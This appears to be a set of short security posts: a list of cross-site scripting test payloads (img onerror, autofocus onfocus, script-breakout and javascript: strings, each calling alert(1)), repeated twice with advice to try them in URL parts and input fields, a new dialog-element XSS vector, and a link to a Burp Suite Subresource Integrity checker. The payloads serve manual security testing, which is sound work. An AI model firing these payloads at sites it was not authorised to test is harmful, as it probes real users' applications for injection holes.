Here's a small #XSS list for manual testing (main cases, high success rate).
"><img src onerror=alert(1)>
"autofocus onfocus=alert(1)//
</script><script>alert(1)</script>
'-alert(1)-'
\'-alert(1)//
javascript:alert(1)
Try it on:
- URL query, fragment & path;
- all input fields.
"><img src onerror=alert(1)>
"autofocus onfocus=alert(1)//
</script><script>alert(1)</script>
'-alert(1)-'
\'-alert(1)//
javascript:alert(1)
Try it on:
- URL query, fragment & path;
- all input fields.
We have another new vector for the XSS cheat sheet! This one requires user interaction and uses the method attribute with the dialog value.
<dialog open onclose=alert(1)><form method=dialog><button>XSS</button></form>
sri-check | A Burp Suite extension for identifying missing Subresource Integrity attributes.
https://github.com/PortSwigger/sri-check
https://github.com/PortSwigger/sri-check